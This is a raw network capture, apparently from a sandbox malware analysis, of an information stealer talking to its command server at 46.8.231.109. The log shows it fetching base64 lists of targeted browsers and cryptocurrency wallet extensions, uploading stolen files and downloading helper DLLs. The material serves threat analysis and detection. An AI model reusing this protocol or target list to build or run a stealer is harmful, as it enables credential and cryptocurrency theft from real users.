R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 7, 2024 03:03:05.289674997 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 7, 2024 03:03:05.291245937 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDG Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 2d 2d 0d 0a Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="message"plugins------BFIJEHCBAKFCAKFHCGDG--
Oct 7, 2024 03:03:05.474867105 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 7, 2024 03:03:05.474915981 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 7, 2024 03:03:05.474950075 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 7, 2024 03:03:05.474982977 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 7, 2024 03:03:05.475017071 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Oct 7, 2024 03:03:05.475047112 CEST	224	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZw
Oct 7, 2024 03:03:05.475136042 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Oct 7, 2024 03:03:05.475167990 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Oct 7, 2024 03:03:05.477020025 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFI Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="message"fplugins------JKKFIIEBKEGIEBFIJKFI--
Oct 7, 2024 03:03:05.656543016 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 7, 2024 03:03:05.670372963 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCB Host: 46.8.231.109 Content-Length: 6975 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:03:05.670372963 CEST	6975	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 Data Ascii: ------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 7, 2024 03:03:05.910151005 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:03:05.910783052 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 03:03:06.089521885 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 7, 2024 03:03:06.089615107 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 7, 2024 03:03:06.797573090 CEST	1236	IN	DELETE FROM %Q.%sSELECT 1 FROM "%w".sqlite_master WHERE name NOT LIKE 'sqliteX_%%' ESCAPE 'X' AND sql NOT LIKE 'create virtual%%' AND sqlite_rename_test(%Q, sql, type, name, %d, %Q, %d)=NULL SELECT 1 FROM temp.sqlite_master WHERE name NOT LIKE 'sqliteX_%%' ESCAPE 'X' AND sql NOT LIKE 'create virtual%%' AND sqlite_rename_test(%Q, sql, type, name, 1, %Q, %d)=NULL CREATE VIRTUAL TABLE %TUPDATE %Q.sqlite_master SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%dname=%Q AND sql=%QCREATE TABLE x%c"%s"("%s",arg HIDDEN,schema HIDDENCREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);CREATE TABLE x(key,value,type,atom,id,parent,fullkey,path,json HIDDEN,root HIDDEN)CREATE TABLE x(pgno INTEGER PRIMARY KEY, data BLOB, schema HIDDEN)wrong number of vtable argumentscolrowinstancefts5vocab: unknown table type: %QCREATE TABlE vocab(term, col, doc [TRUNCATED] Data Raw: Data Ascii:
Oct 7, 2024 03:03:07.019164085 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAK Host: 46.8.231.109 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:03:07.319299936 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:03:07.404721022 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 46.8.231.109 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:03:07.746222019 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:03:07.762605906 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCG Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="file"------IIEBGIDAAFHIJJJJEGCG--
Oct 7, 2024 03:03:07.977606058 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:03:08.310257912 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAF Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="file"------JKEGDHCFCAAECAKECBAF--
Oct 7, 2024 03:03:08.524470091 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:03:08.672677994 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
